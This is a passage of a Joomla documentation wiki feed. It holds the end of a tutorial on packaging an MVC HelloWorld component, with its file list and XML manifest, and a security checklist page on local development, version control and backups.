COM_HELLOWORLD_PREFLIGHT_UPDATE_TEXT=&amp;quot;HelloWorld preflight update script&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_UNINSTALL_TEXT=&amp;quot;HelloWorld Uninstall script&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_UPDATE_TEXT=&amp;quot;HelloWorld Update script&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_UPDHELLOWORLD_VIEW_DEFAULT_TITLE=&amp;quot;Update the Greeting&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_UPDHELLOWORLD_VIEW_DEFAULT_DESC=&amp;quot;Update greeting here&amp;quot;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &#039;&#039;_populateState&#039;&#039; method is, by default, automatically called when a state is read by the &#039;&#039;getState&#039;&#039; method.&lt;br /&gt;
&lt;br /&gt;
== Packaging the component ==&lt;br /&gt;
&lt;br /&gt;
Content of your code directory-&lt;br /&gt;
* &#039;&#039;[[#helloworld.xml|helloworld.xml]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[#script.php|script.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_02#site/helloworld.php|site/helloworld.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_02#site/controller.php|site/controller.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/updhelloworld.php|site/updhelloworld.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/controllers/updhelloworld.php|site/controllers/updhelloworld.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/controllers/index.html|site/controllers/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/views/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/views/helloworld/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#site/views/helloworld/view.html.php|site/views/helloworld/view.html.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/views/updhelloworld/view.html.php|site/views/updhelloworld/view.html.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/views/helloworld/tmpl/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/views/updhelloworld/tmpl/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_06#site/views/helloworld/tmpl/default.xml|site/views/helloworld/tmpl/default.xml]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#site/views/helloworld/tmpl/default.php|site/views/helloworld/tmpl/default.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/views/updhelloworld/tmpl/default.xml|site/views/updhelloworld/tmpl/default.xml]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/views/updhelloworld/tmpl/default.php|site/views/updhelloworld/tmpl/default.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/models/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#site/models/helloworld.php|site/models/helloworld.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/models/updhelloworld.php|site/models/updhelloworld.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/models/forms/updhelloworld.xml|site/models/forms/updhelloworld.xml]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/models/forms/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/language/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/language/en-GB/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_08#site/language/en-GB/en-GB.com_helloworld.ini|site/language/en-GB/en-GB.com_helloworld.ini]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/access.xml|admin/access.xml]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/config.xml|admin/config.xml]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/helloworld.php|admin/helloworld.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_12#admin/controller.php|admin/controller.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/sql/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#admin/sql/install.mysql.utf8.sql|admin/sql/install.mysql.utf8.sql]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_06#admin/sql/uninstall.mysql.utf8.sql|admin/sql/uninstall.mysql.utf8.sql]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/sql/updates/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/sql/updates/mysql/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#admin/sql/updates/mysql/0.0.1.sql|admin/sql/updates/mysql/0.0.1.sql]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_06#admin/sql/install.mysql.utf8.sql|admin/sql/updates/mysql/0.0.6.sql]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_12#admin/sql/updates/mysql/0.0.12.sql|admin/sql/updates/mysql/0.0.12.sql]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#admin/sql/updates/mysql/0.0.13.sql|admin/sql/updates/mysql/0.0.13.sql]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/models/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/models/fields/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_12#admin/models/fields/helloworld.php|admin/models/fields/helloworld.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/models/forms/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#admin/models/forms/helloworld.xml|admin/models/forms/helloworld.xml]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/models/forms/helloworld.js|admin/models/forms/helloworld.js]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/models/rules/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/models/rules/greeting.php|admin/models/rules/greeting.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/models/helloworld.php|admin/models/helloworld.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_09#admin/models/helloworlds.php|admin/models/helloworlds.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/views/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/views/helloworlds/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/views/helloworlds/view.html.php|admin/views/helloworlds/view.html.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/views/helloworlds/tmpl/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/views/helloworlds/tmpl/default.php|admin/views/helloworlds/tmpl/default.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_07#admin/views/helloworlds/tmpl/default_head.php|admin/views/helloworlds/tmpl/default_head.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_07#admin/views/helloworlds/tmpl/default_body.php|admin/views/helloworlds/tmpl/default_body.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_07#admin/views/helloworlds/tmpl/default_foot.php|admin/views/helloworlds/tmpl/default_foot.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/views/helloworld/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/views/helloworld/view.html.php|admin/views/helloworld/view.html.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/views/helloworld/submitbutton.js|admin/views/helloworld/submitbutton.js]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/views/helloworld/tmpl/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#admin/views/helloworld/tmpl/edit.php|admin/views/helloworld/tmpl/edit.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/helpers/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/helpers/helloworld.php|admin/helpers/helloworld.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/tables/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/tables/helloworld.php|admin/tables/helloworld.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#admin/language/en-GB/en-GB.com_helloworld.ini|admin/language/en-GB/en-GB.com_helloworld.ini]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[#admin/language/en-GB/en-GB.com_helloworld.sys.ini|admin/language/en-GB/en-GB.com_helloworld.sys.ini]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/controllers/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/controllers/helloworld.php|admin/controllers/helloworld.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/controllers/helloworlds.php|admin/controllers/helloworlds.php]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_08#language/en-GB/en-GB.ini|language/en-GB/en-GB.ini]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|media/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|media/images/index.html]]&#039;&#039;&lt;br /&gt;
* &#039;&#039;media/images/tux-16x16.png&#039;&#039;&lt;br /&gt;
* &#039;&#039;media/images/tux-48x48.png&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a compressed file of this directory or directly download the [http://joomlacode.org/gf/download/frsrelease/11394/58397/com_helloworld-1.6-part07.zip archive] and install it using the extension manager of Joomla. You can add a menu item of this component using the menu manager in the backend.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;helloworld.xml&amp;quot;&amp;gt;&lt;br /&gt;
&#039;&#039;helloworld.xml&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;extension type=&amp;quot;component&amp;quot; version=&amp;quot;2.5.0&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
	&amp;lt;name&amp;gt;COM_HELLOWORLD&amp;lt;/name&amp;gt;&lt;br /&gt;
	&amp;lt;!-- The following elements are optional and free of formatting conttraints --&amp;gt;&lt;br /&gt;
	&amp;lt;creationDate&amp;gt;November 2009&amp;lt;/creationDate&amp;gt;&lt;br /&gt;
	&amp;lt;author&amp;gt;John Doe&amp;lt;/author&amp;gt;&lt;br /&gt;
	&amp;lt;authorEmail&amp;gt;john.doe@example.org&amp;lt;/authorEmail&amp;gt;&lt;br /&gt;
	&amp;lt;authorUrl&amp;gt;http://www.example.org&amp;lt;/authorUrl&amp;gt;&lt;br /&gt;
	&amp;lt;copyright&amp;gt;Copyright Info&amp;lt;/copyright&amp;gt;&lt;br /&gt;
	&amp;lt;license&amp;gt;License Info&amp;lt;/license&amp;gt;&lt;br /&gt;
	&amp;lt;!--  The version string is recorded in the components table --&amp;gt;&lt;br /&gt;
	&amp;lt;version&amp;gt;0.0.18&amp;lt;/version&amp;gt;&lt;br /&gt;
	&amp;lt;!-- The description is optional and defaults to the name --&amp;gt;&lt;br /&gt;
	&amp;lt;description&amp;gt;COM_HELLOWORLD_DESCRIPTION&amp;lt;/description&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
	&amp;lt;!-- Runs on install/uninstall/update; New in 2.5 --&amp;gt;&lt;br /&gt;
	&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
	&amp;lt;install&amp;gt; &amp;lt;!-- Runs on install --&amp;gt;&lt;br /&gt;
		&amp;lt;sql&amp;gt;&lt;br /&gt;
			&amp;lt;file driver=&amp;quot;mysql&amp;quot; charset=&amp;quot;utf8&amp;quot;&amp;gt;sql/install.mysql.utf8.sql&amp;lt;/file&amp;gt;&lt;br /&gt;
		&amp;lt;/sql&amp;gt;&lt;br /&gt;
	&amp;lt;/install&amp;gt;&lt;br /&gt;
	&amp;lt;uninstall&amp;gt; &amp;lt;!-- Runs on uninstall --&amp;gt;&lt;br /&gt;
		&amp;lt;sql&amp;gt;&lt;br /&gt;
			&amp;lt;file driver=&amp;quot;mysql&amp;quot; charset=&amp;quot;utf8&amp;quot;&amp;gt;sql/uninstall.mysql.utf8.sql&amp;lt;/file&amp;gt;&lt;br /&gt;
		&amp;lt;/sql&amp;gt;&lt;br /&gt;
	&amp;lt;/uninstall&amp;gt;&lt;br /&gt;
	&amp;lt;update&amp;gt; &amp;lt;!-- Runs on update; New in 2.5 --&amp;gt;&lt;br /&gt;
		&amp;lt;schemas&amp;gt;&lt;br /&gt;
			&amp;lt;schemapath type=&amp;quot;mysql&amp;quot;&amp;gt;sql/updates/mysql&amp;lt;/schemapath&amp;gt;&lt;br /&gt;
		&amp;lt;/schemas&amp;gt;&lt;br /&gt;
	&amp;lt;/update&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
	&amp;lt;!-- Site Main File Copy Section --&amp;gt;&lt;br /&gt;
	&amp;lt;!-- Note the folder attribute: This attribute describes the folder&lt;br /&gt;
		to copy FROM in the package to install therefore files copied&lt;br /&gt;
		in this section are copied from /site/ in the package --&amp;gt;&lt;br /&gt;
	&amp;lt;files folder=&amp;quot;site&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;helloworld.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;controller.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;updhelloworld.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;folder&amp;gt;views&amp;lt;/folder&amp;gt;&lt;br /&gt;
		&amp;lt;folder&amp;gt;models&amp;lt;/folder&amp;gt;&lt;br /&gt;
		&amp;lt;folder&amp;gt;controllers&amp;lt;/folder&amp;gt;&lt;br /&gt;
		&amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&lt;br /&gt;
	&amp;lt;/files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;media destination=&amp;quot;com_helloworld&amp;quot; folder=&amp;quot;media&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;folder&amp;gt;images&amp;lt;/folder&amp;gt;&lt;br /&gt;
	&amp;lt;/media&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
	&amp;lt;administration&amp;gt;&lt;br /&gt;
		&amp;lt;!-- Administration Menu Section --&amp;gt;&lt;br /&gt;
		&amp;lt;menu img=&amp;quot;../media/com_helloworld/images/tux-16x16.png&amp;quot;&amp;gt;COM_HELLOWORLD_MENU&amp;lt;/menu&amp;gt;&lt;br /&gt;
		&amp;lt;!-- Administration Main File Copy Section --&amp;gt;&lt;br /&gt;
		&amp;lt;!-- Note the folder attribute: This attribute describes the folder&lt;br /&gt;
			to copy FROM in the package to install therefore files copied&lt;br /&gt;
			in this section are copied from /admin/ in the package --&amp;gt;&lt;br /&gt;
		&amp;lt;files folder=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;!-- Admin Main File Copy Section --&amp;gt;&lt;br /&gt;
			&amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&lt;br /&gt;
			&amp;lt;filename&amp;gt;config.xml&amp;lt;/filename&amp;gt;&lt;br /&gt;
			&amp;lt;filename&amp;gt;access.xml&amp;lt;/filename&amp;gt;&lt;br /&gt;
			&amp;lt;filename&amp;gt;helloworld.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
			&amp;lt;filename&amp;gt;controller.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
			&amp;lt;!-- SQL files section --&amp;gt;&lt;br /&gt;
			&amp;lt;folder&amp;gt;sql&amp;lt;/folder&amp;gt;&lt;br /&gt;
			&amp;lt;!-- tables files section --&amp;gt;&lt;br /&gt;
			&amp;lt;folder&amp;gt;tables&amp;lt;/folder&amp;gt;&lt;br /&gt;
			&amp;lt;!-- models files section --&amp;gt;&lt;br /&gt;
			&amp;lt;folder&amp;gt;models&amp;lt;/folder&amp;gt;&lt;br /&gt;
			&amp;lt;!-- views files section --&amp;gt;&lt;br /&gt;
			&amp;lt;folder&amp;gt;views&amp;lt;/folder&amp;gt;&lt;br /&gt;
			&amp;lt;!-- controllers files section --&amp;gt;&lt;br /&gt;
			&amp;lt;folder&amp;gt;controllers&amp;lt;/folder&amp;gt;&lt;br /&gt;
			&amp;lt;!-- helpers files section --&amp;gt;&lt;br /&gt;
			&amp;lt;folder&amp;gt;helpers&amp;lt;/folder&amp;gt;&lt;br /&gt;
		&amp;lt;/files&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
		&amp;lt;languages folder=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/en-GB.com_helloworld.ini&amp;lt;/language&amp;gt;&lt;br /&gt;
			&amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/en-GB.com_helloworld.sys.ini&amp;lt;/language&amp;gt;&lt;br /&gt;
		&amp;lt;/languages&amp;gt;&lt;br /&gt;
	&amp;lt;/administration&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
	&amp;lt;!-- UPDATESERVER DEFINITION --&amp;gt;&lt;br /&gt;
	&amp;lt;updateservers&amp;gt;&lt;br /&gt;
		&amp;lt;!-- Note: No spaces or linebreaks allowed between the server tags --&amp;gt;&lt;br /&gt;
		&amp;lt;server type=&amp;quot;extension&amp;quot; priority=&amp;quot;1&amp;quot; name=&amp;quot;HelloWorld Update Site&amp;quot;&amp;gt;http://yourdomain.com/update/helloworld-update.xml&amp;lt;/server&amp;gt;&lt;br /&gt;
	&amp;lt;/updateservers&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;/extension&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now you can see in your component &#039;&#039;&#039;hello-world&#039;&#039;&#039; an array with two colums, two rows and checkboxes. You can click the checkboxes in order to select the different options you want.&lt;br /&gt;
&lt;br /&gt;
== Zips ==&lt;br /&gt;
Download the zip file for this Part:&lt;br /&gt;
[http://www.glennarkell.com/joomlaorg/com_helloworld_0.0.18.zip]&lt;br /&gt;
&lt;br /&gt;
== Navigate ==&lt;br /&gt;
&lt;br /&gt;
[[Developing a Model-View-Controller (MVC) Component for Joomla!2.5 - Part 17|Prev: Adding an update server]]&lt;br /&gt;
[[Developing a Model-View-Controller (MVC) Component for Joomla!2.5 - Part 19|Next: Example of Menu Parameters &amp;amp; Stylesheets]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[category:Joomla! 1.6]]&lt;br /&gt;
[[category:Joomla! 1.7]]&lt;br /&gt;
[[category:Joomla! 2.5]]&lt;br /&gt;
[[category:Manual]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Testing_and_Development&amp;diff=71487</id>
		<title>Security Checklist/Testing and Development</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Testing_and_Development&amp;diff=71487"/>
		<updated>2012-08-17T00:06:08Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Edited by */ Not needed; as this is a wiki and you can see from the history who edited this page.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Secure Testing and Development ==&lt;br /&gt;
&lt;br /&gt;
===Develop locally, deploy globally===&lt;br /&gt;
: Develop and test your site on a local machine first. Installing Joomla locally is not as hard as it may sound, and the exercise will greatly boost your confidence.&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Use an IDE===&lt;br /&gt;
: Consider using an Integrated Development Environment (IDE). One free IDE that many Joomla! developers use is [http://www.eclipse.org Eclipse]. See [[Setting_up_your_workstation_for_Joomla!_development | Setting up your workstation for Eclipse development]] for instructions on installing Eclipse.&lt;br /&gt;
&lt;br /&gt;
===Use a versioning system===&lt;br /&gt;
: Be able to roll back to an earlier version of your site using a modern version control system, such as CVS, [http://subversion.tigris.org/ Subversion], or [http://git.or.cz/ git].&amp;lt;/li&amp;gt; The Eclipse IDE indicated above includes a Subversion plugin. This allows you to work with the Joomla! source repository as well as other projects hosted on [http://joomlacode.org/ JoomlaCode].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===More suggested tools===&lt;br /&gt;
: Check out the Joomla! community&#039;s list of popular [http://forum.joomla.org/index.php/topic,25307.0.html Developer Software and Tools].&lt;br /&gt;
&lt;br /&gt;
==Setup a backup process first==&lt;br /&gt;
===The most important rule===&lt;br /&gt;
: &#039;&#039;&#039;Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Be sure your backup and recovery process is ready and tested BEFORE your site goes live. &lt;br /&gt;
&lt;br /&gt;
: This is the single best way (and often the only way) to recover from such inevitable catastrophes as:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# A compromised/cracked site.&lt;br /&gt;
# Broken site due to a faulty upgrade.&lt;br /&gt;
# Hardware failure, such as dead hard drives, power failures, server theft, etc.&lt;br /&gt;
# Authoritarian government intervention. (More common than some think.)&lt;br /&gt;
# Needing to quickly relocate to a new server or hosting provider.&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=J1.5:Use_an_existing_Joomla!_1.5_site&amp;diff=71486</id>
		<title>J1.5:Use an existing Joomla! 1.5 site</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=J1.5:Use_an_existing_Joomla!_1.5_site&amp;diff=71486"/>
		<updated>2012-08-17T00:04:53Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Further information */ Not needed; as this is a wiki and you can see from the history who edited this page.&lt;/p&gt;
&lt;hr /&gt;
